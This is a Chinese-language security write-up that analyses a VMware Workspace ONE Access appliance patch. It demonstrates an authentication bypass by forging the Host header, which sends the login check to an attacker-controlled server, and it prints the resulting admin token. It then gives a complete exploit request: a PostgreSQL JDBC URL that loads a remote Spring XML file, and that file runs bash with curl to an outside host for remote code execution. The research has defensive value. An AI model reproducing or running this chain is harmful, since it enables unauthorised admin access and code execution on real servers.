HW-156875-Appliance-21.08.0.1/frontend-0.1.war中增加了一个HostHeaderFilter,匹配全路由
然后删除了DBConnectionCheckController,这个地方有jdbc attack。
查看HostHeaderFilter代码
1package com.vmware.horizon;
2
3import com.google.common.annotations.VisibleForTesting;
4import com.tricipher.saas.action.api.GlobalConfigService;
5import com.vmware.horizon.common.utils.HorizonPropertyHolder;
6import com.vmware.horizon.common.utils.system.ApplianceNetworkDetails;
7import com.vmware.horizon.common.utils.system.ApplianceUtil;
8import java.io.IOException;
9import java.util.Optional;
10import javax.servlet.Filter;
11import javax.servlet.FilterChain;
12import javax.servlet.FilterConfig;
13import javax.servlet.ServletException;
14import javax.servlet.ServletRequest;
15import javax.servlet.ServletResponse;
16import javax.servlet.http.HttpServletRequest;
17import javax.servlet.http.HttpServletResponse;
18import org.apache.commons.lang3.StringUtils;
19import org.slf4j.Logger;
20import org.slf4j.LoggerFactory;
21import org.springframework.beans.factory.annotation.Autowired;
22import org.springframework.stereotype.Component;
23
24@Component("HostHeaderFilter")
25public class HostHeaderFilter implements Filter {
26 private static final Logger log = LoggerFactory.getLogger(HostHeaderFilter.class);
27 private static final String LOCALHOST = "localhost";
28 private static final String LOCALHOST_IP_ADDRESS = "127.0.0.1";
29 private static final int INVALID_HOST_NAME_STATUS_CODE = 444;
30 @Autowired
31 private HorizonPropertyHolder horizonPropertyHolder;
32 @Autowired
33 private ApplianceUtil applianceUtil;
34 @Autowired
35 private GlobalConfigService globalConfigService;
36 private ApplianceNetworkDetails applianceNetworkDetails = null;
37 private Boolean isOnPremise;
38 private Boolean isSingleTenant;
39
40 public HostHeaderFilter() {
41 this.isOnPremise = Boolean.FALSE;
42 this.isSingleTenant = Boolean.FALSE;
43 }
44
45 public void init(FilterConfig filterConfig) throws ServletException {
46 }
47
48 public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
49 this.isOnPremise = this.globalConfigService.isServiceOnPrem();
50 this.isSingleTenant = this.globalConfigService.isServiceSingleTenant();
51 if (this.applianceNetworkDetails == null) {
52 this.applianceNetworkDetails = (ApplianceNetworkDetails)Optional.ofNullable(this.applianceUtil.getApplianceNetworkDetails()).orElse(new ApplianceNetworkDetails());
53 }
54
55 if (request != null && request instanceof HttpServletRequest) {
56 HttpServletRequest httpServletRequest = (HttpServletRequest)request;
57 String serverName = httpServletRequest.getServerName();
58 if (StringUtils.isNotBlank(httpServletRequest.getHeader("Host")) && StringUtils.isNotBlank(serverName)) {
59 serverName = serverName.trim();
60 String gatewayHostName = StringUtils.isNotBlank(this.horizonPropertyHolder.getGatewayHostName()) ? this.horizonPropertyHolder.getGatewayHostName().trim() : "";
61 boolean isValidServerName = this.isServerNameAmongTheValidList(serverName, gatewayHostName);
62 if (!isValidServerName) {
63 isValidServerName = this.isServerNameValidForMultiTenantOnPremOrCloudCase(serverName, gatewayHostName);
64 }
65
66 if (!isValidServerName) {
67 log.error("Rejecting request since host header value does not match configured gateway.hostname or localhost or appliance hostname/IP address: {} ", serverName);
68 if (response instanceof HttpServletResponse) {
69 ((HttpServletResponse)response).setStatus(444);
70 }
71
72 return;
73 }
74 }
75 }
76
77 filterChain.doFilter(request, response);
78 }
79
80 public void destroy() {
81 }
82
83 private boolean isServerNameAmongTheValidList(String serverName, String gatewayHostName) {
84 return serverName.equalsIgnoreCase(gatewayHostName) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getHostname()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV4Address()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV6Address()) || serverName.equalsIgnoreCase("localhost") || serverName.equalsIgnoreCase("127.0.0.1");
85 }
86
87 private boolean isServerNameValidForMultiTenantOnPremOrCloudCase(String serverName, String gatewayHostName) {
88 if (!this.isSingleTenant || !this.isOnPremise) {
89 String gatewayDomainName = this.getDomainFromHostname(gatewayHostName);
90 if (StringUtils.isNotBlank(gatewayDomainName) && serverName.toLowerCase().endsWith(gatewayDomainName.toLowerCase())) {
91 return Boolean.TRUE;
92 }
93 }
94
95 return Boolean.FALSE;
96 }
97
98 @VisibleForTesting
99 String getDomainFromHostname(String hostname) {
100 return StringUtils.isNotBlank(hostname) && hostname.indexOf(46) > 0 ? StringUtils.substring(hostname, hostname.indexOf(".") + 1).trim() : "";
101 }
102}
可见对host做了判断,那么伪造host为我们自己的http服务呢?
在登录请求包中修改host为我们的恶意服务端
发现服务器对我们的恶意服务端发起了请求。
随便给一个host
此时查看log发现vm在尝试解析主机名并对其发起了请求。
回溯堆栈,在com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login
中
将传入的账号密码调用本地密码服务发起http请求api来鉴权,然后通过generateSuccessResponse()返回授权成功,其中endpoint来自于com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl
这里用request.getServerName()
造成了可以伪造host来控制授权服务。
接着来把host设置为dnslog,看一下请求中包含的东西
此时响应包中返回了授权成功的cookie
jwt解出来
1{
2 "jti": "3b448f71-f384-481c-be2d-8e91f7062208",
3 "prn": "[email protected]",
4 "domain": "System Domain",
5 "user_id": "5",
6 "auth_time": 1653647444,
7 "iss": "https://ca83h9d2vtc0000abv9ggfrbawwyyyyyb.interact.sh/SAAS/auth",
8 "aud": "https://ca83h9d2vtc0000abv9ggfrbawwyyyyyb.interact.sh/SAAS/auth/oauthtoken",
9 "ctx": "[{\"mtd\":\"urn:vmware:names:ac:classes:LocalPasswordAuth\",\"iat\":1653647444,\"id\":3,\"typ\":\"00000000-0000-0000-0000-000000000014\",\"idm\":true}]",
10 "scp": "profile admin user email operator",
11 "idp": "2",
12 "eml": "[email protected]",
13 "cid": "",
14 "did": "",
15 "wid": "",
16 "rules": {
17 "expiry": 1653676244,
18 "rules": [
19 {
20 "name": null,
21 "disabled": false,
22 "description": null,
23 "resources": [
24 "*"
25 ],
26 "actions": [
27 "*"
28 ],
29 "conditions": null,
30 "advice": null
31 }
32 ],
33 "link": null
34 },
35 "pid": "3b448f71-f384-481c-be2d-8e91f7062208",
36 "exp": 1653676244,
37 "iat": 1653647444,
38 "sub": "d054089a-6044-4486-b534-8b0dd105f803",
39 "prn_type": "USER"
40}
由此就绕过了鉴权。
jdbc postgresql rce
1POST /SAAS/API/1.0/REST/system/dbCheck HTTP/1.1
2Host: vm.test.local
3Cookie: HZN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJqdGkiOiJkY2M0NjZmNS0wNWRmLTRiYjAtOTFkYy00NzZmNWY0MWViNmYiLCJwcm4iOiJhZG1pbkBWTSIsImRvbWFpbiI6IlN5c3RlbSBEb21haW4iLCJ1c2VyX2lkIjoiNSIsImF1dGhfdGltZSI6MTY1MzY0NzgwMiwiaXNzIjoiaHR0cHM6Ly9jYTgzaDlkMnZ0YzAwMDBhYnY5Z2dmcmJhd3d5eXl5eWIuaW50ZXJhY3Quc2gvU0FBUy9hdXRoIiwiYXVkIjoiaHR0cHM6Ly9jYTgzaDlkMnZ0YzAwMDBhYnY5Z2dmcmJhd3d5eXl5eWIuaW50ZXJhY3Quc2gvU0FBUy9hdXRoL29hdXRodG9rZW4iLCJjdHgiOiJbe1wibXRkXCI6XCJ1cm46dm13YXJlOm5hbWVzOmFjOmNsYXNzZXM6TG9jYWxQYXNzd29yZEF1dGhcIixcImlhdFwiOjE2NTM2NDc4MDIsXCJpZFwiOjMsXCJ0eXBcIjpcIjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAxNFwiLFwiaWRtXCI6dHJ1ZX1dIiwic2NwIjoicHJvZmlsZSBhZG1pbiB1c2VyIGVtYWlsIG9wZXJhdG9yIiwiaWRwIjoiMiIsImVtbCI6ImxvY2FsQWRtaW5AZXhhbXBsZS5jb20iLCJjaWQiOiIiLCJkaWQiOiIiLCJ3aWQiOiIiLCJydWxlcyI6eyJleHBpcnkiOjE2NTM2NzY2MDIsInJ1bGVzIjpbeyJuYW1lIjpudWxsLCJkaXNhYmxlZCI6ZmFsc2UsImRlc2NyaXB0aW9uIjpudWxsLCJyZXNvdXJjZXMiOlsiKiJdLCJhY3Rpb25zIjpbIioiXSwiY29uZGl0aW9ucyI6bnVsbCwiYWR2aWNlIjpudWxsfV0sImxpbmsiOm51bGx9LCJwaWQiOiJkY2M0NjZmNS0wNWRmLTRiYjAtOTFkYy00NzZmNWY0MWViNmYiLCJleHAiOjE2NTM2NzY2MDIsImlhdCI6MTY1MzY0NzgwMiwic3ViIjoiZDA1NDA4OWEtNjA0NC00NDg2LWI1MzQtOGIwZGQxMDVmODAzIiwicHJuX3R5cGUiOiJVU0VSIn0.OJnqYjukOzG4ev45jp0eNtyy97oirmYOLnhDgGtQQZLipmqhVHvRoSKIRg3rtAiXWurL4HbnTqjLtkQARU1K4D8ufnqiVgob0lzTfoa43GQ2XqFdzvekoHpr4_72a7egn4blB1PiOj_qi3sGmbwPbPPHYv3rRGaRroRsPFRFw-JWWRhSoNa34ggkm3_3XFP25ebXoi6-aHQUh_UzWmW6T-KUcEehGA46vOWdMek0UbyjCe-7e1NPwwf-TeJievzthPubiTWB5lTV25OC5S1B-o715t3nc4j4VDUzh3LBsDpNbM_S4g7Mf9ChQUHiM2GbXEhRI3ot9wCDPXBr2vysjQ;
4Content-Type: application/x-www-form-urlencoded
5Content-Length: 196
6
7jdbcUrl=jdbc:postgresql://localhost/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26socketFactoryArg=http://192.168.1.178:9091/exp.xml&dbUsername=&dbPassword=
exp.xml如下
1<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
2 <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
3 <constructor-arg>
4 <list>
5 <value>/bin/bash</value>
6 <value>-c</value>
7 <value>curl 192.168.1.178:9091/pwned</value>
8 </list>
9 </constructor-arg>
10 </bean>
11</beans>
挺离谱的洞
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。